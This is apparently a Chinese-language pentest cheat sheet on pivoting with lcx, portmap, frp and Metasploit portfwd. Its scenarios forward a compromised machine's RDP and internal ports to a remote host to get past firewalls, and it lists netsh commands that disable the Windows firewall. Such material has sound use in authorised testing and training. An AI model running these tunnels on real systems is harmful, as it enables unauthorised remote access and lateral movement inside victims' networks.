流量转发工具
1.端口转发
用于目标机器对某一端口的访问进行了限制。(本地端口转发至未拦截并未占用的端口上)可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网IP上。
2.端口映射
将一个内网无法访问的端口映射到公网的某个端口,进而进行攻击。比如:3389端口
3.代理转发
主要用于在目标机器上做跳板,进而可以对内网进行攻击。利用内网服务器搭建代理进行代理转发访问内网服务器。
防火墙信息
查看防火墙状态
netsh firewall show state
netsh advfirewall show allprofiles
开启防火墙:
netsh firewall set opmode mode=enable
netsh advfirewall set allprofiles state on
关闭防火墙:
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
Linux portmap
Usage:./lcx -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2 -tran
2: listen on PORT1 and PORT2 -listen
3: connect to HOST1:PORT1 and HOST2:PORT2 -salve
portmap远程转发端口
./portmap -m 3 -h1 remote_ip -p1 remote_port -h2 lan_ip -p2 lan_port
./portmap -m 3 -h1 10.10.0.100 -p1 4444 -h2 127.0.0.1 -p2 22
./portmap -m 3 -h1 10.10.0.100 -p1 4444 -h2 127.0.0.1 -p2 22 #将本机的22端口转发到远程主机10.10.0.100的4444端口
./portmap -m 3 -h1 10.10.0.100 -p1 4444 -h2 10.10.0.150 -p2 22 #将局域网10.10.0.150的22端口转发到远程主机10.10.0.100的4444端口
端口监听
./portmap -m 2 -p1 转发过来的端口 -p2 本机监听的端口
./portmap -m 2 -p1 4444 -p2 80 #访问本地的80端口就相当于访问远程转发到本地4444的端口
端口映射
./portmap -m 1 -p1 local_port -h2 lan_ip -p2 lan_port
./portmap -m 1 -p1 22 -h2 10.10.0.150 -p2 22 #连接本机的22号端口就相当于连接10.10.0.150的22端口
./portmap -m 1 -p1 2222 -h2 127.0.0.1 -p2 22 #本地端口映射连接本地的2222就相当于连接本地的22端口
LCX
LCX端口转发
转发端口:lcx.exe –slave 公网主机IP 端口 内网主机IP 端口
监听端口:lcx.exe –listen 转发端口,本机任意没有被占用的端口
映射端口:lcx.exe -tran 映射端口号 目标ip 目标端口
场景一:本地防火墙拦截3389端口,默认开放80端口,使用-tran模式本地端口转发绕过限制。
本地端口映射
lcx.exe -tran 80 127.0.0.1 3389 #将本地的80端口映射到本地的3389端口绕过防火墙限制
内网端口映射
lcx.exe -tran 80 10.10.10.129 80 #将10.10.10.128的80端口映射进10.10.10.129的80端口
场景二:本地防火墙拦截所有入站端口,出站无限制。
被控机器上执行:
lcx.exe -slave 10.10.10.1 4444 127.0.0.1 3389 #将本地的3389端口转发至远程主机10.10.10.1的4444端口上
#lcx.exe -slave 公网IP地址 公网IP开放端口 127.0.0.1 3389
远程主机执行
lcx.exe -listen 3390 3389
访问远程主机的3390端口就相当于访问被控机器的3389端口,绕过防火墙限制。
内网端口远程转发
被控机器上执行:
lcx.exe -slave 10.10.10.1 4444 10.10.10.129 80 #将本地的3389端口转发至远程主机10.10.10.1的4444端口上
远程主机执行
lcx.exe -listen 4444 80 #访问远程主机10.10.10.1的80端口就相当于访问10.10.10.129的80端口
#场景一:10.10.10.128防火墙拦截3389端口,开放80端口。
#10.10.10.128上执行:
lcx.exe -tran 80 127.0.0.1 3389 #将本地3389端口流量转发至开放的80端口绕过限制。
#场景二:10.10.10.128开放80端口,其他外部主机想通过128机器访问内网129机器的80端口。
#10.10.10.128上执行:
lcx.exe -tran 80 10.10.10.129 80 #将128机器上的80端口映射进内网10.10.10.129的80端口,通过访问10.10.10.128的80端口实现访问129机器的80端口
#场景三:10.10.10.128防火墙拦截入站所有端口,外部主机想连接128机器的3389
#10.10.10.128执行:
lcx.exe -slave 10.10.10.1 4444 127.0.0.1 3389 #128机器将本机3389端口转发至远程主机10.10.10.1的4444端口上
#远程主机10.10.10.1执行:
lcx.exe -listen 4444 3389 #远程主机10.10.10.1监听4444端口并将数据转发至3389端口,即能通过访问10.10.10.1的3389端口来实现访问10.10.10.128的3389端口绕过其防火墙限制
#场景四:10.10.10.128转发内网10.10.10.129至远程主机10.10.10.1的4444端口上,绕过内部局域网不能访问的限制
#10.10.10.128执行:
lcx.exe -slave 10.10.10.1 4444 10.10.10.129 80 #128机器将内网10.10.10.129的80端口转发至远程主机10.10.10.1的4444端口上
#远程主机10.10.10.1执行
lcx.exe -listen 4444 80 #监听4444端口转发至80端口,访问10.10.10.1的80端口即为访问10.10.10.129的80端口
frp端口转发工具
FRP (Fast Reverse Proxy) FRP 是一个使用Go语言开发的高性能的反向代理应用,可以进行内网穿透,对外网提供服务(frp支持 tcp、udp、http、https 协议)
项目地址:https://github.com/fatedier/frp;更多平台的软件包下载地址: https://github.com/fatedier/frp/releases
macos ==> darwin
windows ==> windows
linux ==> amd64 amd386 x86
linux ==> arm64 arm32 arm
linux ==> mips 路由器设备 mips芯片
linux ==> risc 工控设备使用risc
frp作用
利用处于内网或防火墙后的机器,对外网环境提供HTTP、HTTPS、TCP、UDP服务
对于 HTTP, HTTPS 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个 80 端口
解压frp程序后得到四种文件
- frpc 客户端程序
- frpc.ini 客户端配置文件
- frps 服务端程序
- frps.ini 服务端配置文件
对服务端和客户端文件做相应配置
frps #服务端文件
frps.ini #服务端配置文件
[common]
bind_port = 7000 #frp服务器监听端口
dashboard_port = 7500 #web后台监听端口
dashboard_user = admin #web后台的用户名和密码
dashboard_pwd = admin
token = 123456 #用于客户端和服务端连接的口令,请自行设置并记录
======================================================================
frpc #客户端文件
frpc.ini #客户端配置文件
[common]
server_addr = 172.16.12.166 #服务端IP地址
server_port = 7000 #服务器端口
token = 123456 #服务器上设置的连接口令
[rdp] #自定义规则,[xxx]表示规则名 不要重复
type = tcp #type:转发的协议类型
local_ip = 127.0.0.1
local_port = 22 #本地应用的端口号
remote_port = 6001 #这条规则在服务端开放的端口号
[ssh] #自定义规则,[xxx]表示规则名 不要重复
type = tcp #type:转发的协议类型
local_ip = 192.168.10.49
local_port = 3389 #本地应用的端口号
remote_port = 6001 #这条规则在服务端开放的端口号
服务端启用frp
./frps -c ./frps.ini
客户端启用frp
./frpc -c ./frpc.ini
MSF 端口转发
#选项
-L:要监听的本地主机(可选)
-h:帮助信息
-l:要监听的本地端口,与此端口的连接将被转发到远程系统
-p:要连接的远程端口,TCP连接将转发到的端口
-r:要连接的远程主机的IP地址
#参数
Add:该参数用于创建转发
Delete:这将从转发端口列表中删除先前的条目
List:列出当前转发的所有端口
Flush:这将删除转发列表中的所有端口
portfwd -l 本地msf机器的端口 -p session内目标机器的端口 -r session内要转发的ip(内网IP)
portfwd add -l 6666 -p 22 -r 127.0.0.1 #将该session本地的22端口转发至msf机器上的6666端口,连接msf机器的6666端口等于连接该session的22端口
portfwd add -l 6667 -p 3389 -r 192.168.10.49 #将该session内网192.168.10.49的3389端口转发至msf机器上的6667端口,连接msf机器的6667端口等于连接内网192.168.10.49的3389端口